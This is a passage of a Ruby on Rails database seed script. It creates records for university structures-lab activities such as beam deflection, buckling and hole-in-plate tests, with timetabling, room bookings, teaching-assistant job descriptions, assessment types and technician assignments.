a45.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a45.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a46 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"208\").first_or_create!(name: \"Suspension Cable\",\n name_abrv: \"Cables\", archived: false, in_drive: true, user_id: 1)\n at46 = ActivityTimetable.where(activity_id: a46.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at46.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a46.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Ggzi6e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a46.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with suspension cables brideges and the cable-arch analogy.\",\n job_desc:\"In this lab, students test the ways in which a suspension cable responds to vertical loadings. They will determine the relationship between uniform load, reaction force and cable sag and they will investigate the cable-arch analogy.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a46.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a46.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a46.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a47 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"Bending\", archived: false, in_drive: true, user_id: 3)\n at47 = ActivityTimetable.where(activity_id: a47.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at47.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a47.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/rPsrdF\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a47.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a47.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a47.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a47.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a48 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis of Frames\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at48 = ActivityTimetable.where(activity_id: a48.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a48.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/mibPtH\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a48.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of structural analysis. The ideal candidate should be familiar with the analysis of statically indeterminate portal frames.\",\n job_desc:\"In this lab, students will qualitative determine deflected shapes and bending moment diagrams of 2-dimensional elastic beams and portal frames structures as a result of external loading.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a48.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a48.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a48.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a49 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at49 = ActivityTimetable.where(activity_id: a49.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a49.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/F1sv5m\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a49.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a49.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a49.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a49.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a50 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"211\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - Buckling\", archived: false, in_drive: true, user_id: 4)\n at50 = ActivityTimetable.where(activity_id: a50.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at50.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a50.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/zpPBgp\",\n mole_pub_link: \"https://goo.gl/mP6s53\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a50.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a50.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a50.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a50.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a51 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"212\").first_or_create!(name: \"Plastic Collapse: Beams\",\n name_abrv: \"PC Beams\", archived: false, in_drive: true, user_id: 1)\n at51 = ActivityTimetable.where(activity_id: a51.id).first_or_create!(duration: 60, kit_prep_time: 210, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at51.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a51.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/eaYC7o\",\n mole_pub_link: \"https://goo.gl/GT7qFG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a51.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a51.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a51.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a51.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a52 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 2)\n at52 = ActivityTimetable.where(activity_id: a52.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a52.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a52.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a52.id).first_or_create!(assess_weight: nil, notes: \"post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a52.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a52.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a53 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at53 = ActivityTimetable.where(activity_id: a53.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at53.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a53.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a53.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a53.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a53.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a53.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a55 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at55 = ActivityTimetable.where(activity_id: a55.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a55.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/6xWwbb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a55.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a55.id).first_or_create!(assess_weight: nil, notes: \"In-lab marking + post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a55.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a55.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a56 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at56 = ActivityTimetable.where(activity_id: a56.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a56.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a56.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a56.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a56.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a56.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a57 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"214\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - GEE\", archived: false, in_drive: true, user_id: 1)\n at57 = ActivityTimetable.where(activity_id: a57.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a57.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/TEpnz3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a57.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a57.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a57.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a57.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a58 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at58 = ActivityTimetable.where(activity_id: a58.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at58.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a58.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/NX44Rw\",\n mole_pub_link: \"https://goo.gl/qSTPbK\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a58.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a58.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a58.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a58.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a59 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at59 = ActivityTimetable.where(activity_id: a59.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a59.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a59.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a59.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a59.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a59.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a60 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"216\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 2)\n at60 = ActivityTimetable.where(activity_id: a60.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a60.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a60.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a60.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a60.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a60.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a61 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"237\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 3)\n at61 = ActivityTimetable.where(activity_id: a61.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a61.id).first_or_create!(user_id: 3, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a61.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a61.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a61.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a61.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a62 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"238\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 5)\n at62 = ActivityTimetable.where(activity_id: a62.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a62.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a62.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a62.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a62.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a62.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a63 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"217\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 3)\n at63 = ActivityTimetable.where(activity_id: a63.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a63.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a63.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a63.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a63.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a63.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a64 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"218\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 3)\n at64 = ActivityTimetable.where(activity_id: a64.id).first_or_create!(duration: nil, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at64.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a64.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a64.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of elastic instability of struts.\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a64.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityProgramme.where(activity_id: a64.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a65 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"Shear\", archived: false, in_drive: true, user_id: 1)\n at65 = ActivityTimetable.where(activity_id: a65.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at65.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a65.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Lo6Fyd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a65.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in 